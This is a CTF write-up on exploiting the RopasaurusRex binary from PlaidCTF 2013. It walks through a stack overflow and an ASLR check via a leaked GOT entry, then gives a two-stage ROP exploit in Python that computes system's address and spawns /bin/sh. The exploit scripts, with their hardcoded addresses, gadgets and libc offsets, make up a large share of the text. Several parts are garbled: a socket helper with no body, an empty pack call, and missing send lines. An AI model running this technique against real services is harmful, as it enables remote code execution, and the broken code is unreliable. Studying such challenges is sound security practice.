You Can't Stop The Ropasaurus Rex PlaidCTF 2013

This past weekend, April 19th 2013 in the year of our lord, Brooklynt Overflow assembled to partake in the spectacle of pwning known as PlaidCTF. I’m particularly fond of PlaidCTF because it is the first CTF that I played in as a member of Brooklynt Overflow so many years ago and is usually on or around my birthday. Anyway, enough about me and onto the pwnage. Late in the first day I set my eyes on the RopasaurusRex pwnable for 200 points. RopasaursRex is a very simple binary with two functions.

Main function and Xrefs from it

The main function is not very interesting so lets take a look at the other one!


This function is a little sexier! It makes a call to read into a buffer from STDIN for 0x100(256) bytes. Lets take a look at how big that buffer is.

VulnFunc()'s stack frame

Oh no! It appears that this buffer might spring a leak if that call to read is able to receive more than 136 bytes. Because this is the only data element on the stack, once we overflow it we start corrupting the run-time information located on the stack after it. Namely the saved base pointer of the previous stack frame and the return address of the current function.

Please note: All exploitation in this blog post is done on my personal computer. I’m using socat to run their binary because the binary performs no notwork operations.

socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d

Exploitation Mitigation Analysis

NX: we can statically determine if NX is enabled on the stack by checking the memory protections with readelf.

NX is enabled
NX is enabled

Stack Cookies: We can statically determine if stack cookies are in place by examining the function tails with a disassembler. You can tell from the screenshots of disassembly above that stack cookies are not enabled.

ASLR: This one is trickier. To the best of my knowledge it is impossible to tell if a remote machine has ASLR enabled or not. During the competition I skipped this step and assumed that ASLR was enabled but if you really wanted to determine if ASLR is enabled you can exploit the program and print out part of the GOT and see if it changes from run to run. lets do that.

Building an exploit that reads the GOT

Printing the GOT is very simple, just pivot to write. We are going to overwrite the return address with the address of write in the PLT (because it’s not randomized.) After the return address we are going to place a garbage return address(we will fill it later on) and then the function arguments to write, namely a file descriptor  a pointer and a length. If we were to write this call to write in C it would look like this:

#define STDOUT 1
#define read@got 0x00804832c
write(STDOUT, read@got, 4);

And when we write it as a ROP payload it looks very similar

import socket
from struct import pack, unpack
def getSocket(chal):
     return s

write=  0x804830c

rop=pack("<IIIII",  #write(1,0x804961c,4);

s.send(bufferFiller + rop)
print hex(leakedReadGot)
Running The Script Several Times
Running the script several times.
As you can see ASLR is enabled because at each run the address of the **read** function and therefore the base load address of libc changes.

Now that we know ASLR and NX but not stack cookies are enabled we can work on an exploit. The good folks organizing the competition had the courtesy to provide the version of libc they were using on their boxes. Having the library that they are using enables us to calculate where the addresses of other functions are at run time. To exploit this binary I’m going to use an exploitation strategy inspired by the one outlined in the paper: Surgically returning to randomized lib(c) 

Let’s work backwards. I want to call system with /bin/sh as an argument.

Problems to overcome

  1. Get a pointer to the null terminated string “/bin/sh”

  2. Calculate the address of system

  3. Transfer control of execution to system with the string pointer as an argument


  1.  Because of ASLR we cannot predict the address of the stack so placing the string there is out of the question, but not to worry. We can pivot into the read function to read the string from stdin into a non randomized, writable portion of memory. As it happens the .data segment is exactly 8 bytes which is just large enough to hold /bin/sh and a null byte. The address of the data segment is 0x8049620. We will pass this as an argument to read and later as an argument to system.

  2.  The address of system is not hard to calculate. By disassembling libc we can determine how far away system (or any other function for that matter) is from read. We conveniently already are able to grab the address of read because we used it to determine if ASLR is enabled. The address of system can be represented as &read - 0x39450 if you’re attacking the version of libc provided by PlaidCTF or &read - 0x3f430 if your attacking my VM.

  3.  This part is mildly tricky. At the time we create our ROP chain to achieve goals 1 and 2 we don’t know the address of system. Once we finish sending the ROP chain and the program continues executing we can’t extend or modify the ROP chain because we don’t know where the stack is. One naive approach to solving this problem might be to guess the address of the stack and pivot to read as part of your first ROP chain to write a lot of ‘ROP nops’ (address of a single return instruction) followed by the fake stack frame for system. This approach is not elegant and might take a couple thousand tries to work. What I did instead is to pivot back to the vulnerable function located at 0x80483F4. By exploiting the vulnerable function again I’m able to calculate the address of system because of the blocking call to read.  I’m also able to take control of the stack again even though I have no idea where it is.

Now all that’s left to do is find the address of a pop pop pop ret(0x080484b6) for my ROP chain for read and write and then write the final exploit!

import socket
import time
from struct import pack, unpack
def shell(sock):
 while(command != 'exit'):
 command=raw_input('$ ')
 sock.send(command + '\n')#raw_input won't grab a newline
 print sock.recv(0x10000)

def getSocket(chal):
 return s


readPLT      = 0x804832c
writePLT     = 0x804830c
pppr         = 0x80484b6
readgot      = 0x804961C
dataSeg      = 0x8049620
readc        = 0x00bf110
systemc      = 0x0039450
vulnFunction = 0x80483F4 #vulnFunction();
subForSystem = 0x009ef70 #use readc-systemc for exploiting plaid lib
subForExit   = 0x00ab3f0
bufferFiller = 'A' * 140

leakGOT = pack("<IIIII", writePLT, pppr, 1, readgot, 4)
writesh = pack("<IIIII", readPLT , pppr, 0, dataSeg, 8)
vulnrop = pack("<I", vulnFunction)

ropStage1 = bufferFiller + leakGOT + writesh + vulnrop

#the server is waiting for 8 bytes
#because we ROPed to read
#The next eight bytes we send go into .data

readAddr, = unpack("<I", s.recv(4))
#readAddr contains the address of read in libc
#we're going to do some pointer math to find
#the addr of system and exit
system = readAddr - subForSystem
exit = readAddr - subForExit
print "&system is: %s" % hex(system)
print "&exit is: %s" % hex(exit)

#we write the address of exit as the return address
#for system to avoid a segfault after we exit our shell
getshell = pack("<III", system, exit, dataSeg)

ropStage2 = bufferFiller + getshell

shell(s)#interact with our shell =D

And when we run it:

We can run arbitrary shell commands
We can run arbitrary shell commands

There is one other exploitation strategy that is just as effective as this one and may be considered a little better because it involves sending less traffic over the network. The technique is known as GOT overwrite. Instead of pivoting into back into the vulnerable function to re-exploit the buffer overflow I could have as part of my first ROP chain used read to set the GOT entry for write to be the address of system and then pivoted to write’s entry in the PLT which would execute the system function. If you are interested in how to exploit this challenge using a GOT overwrite you can read about it here.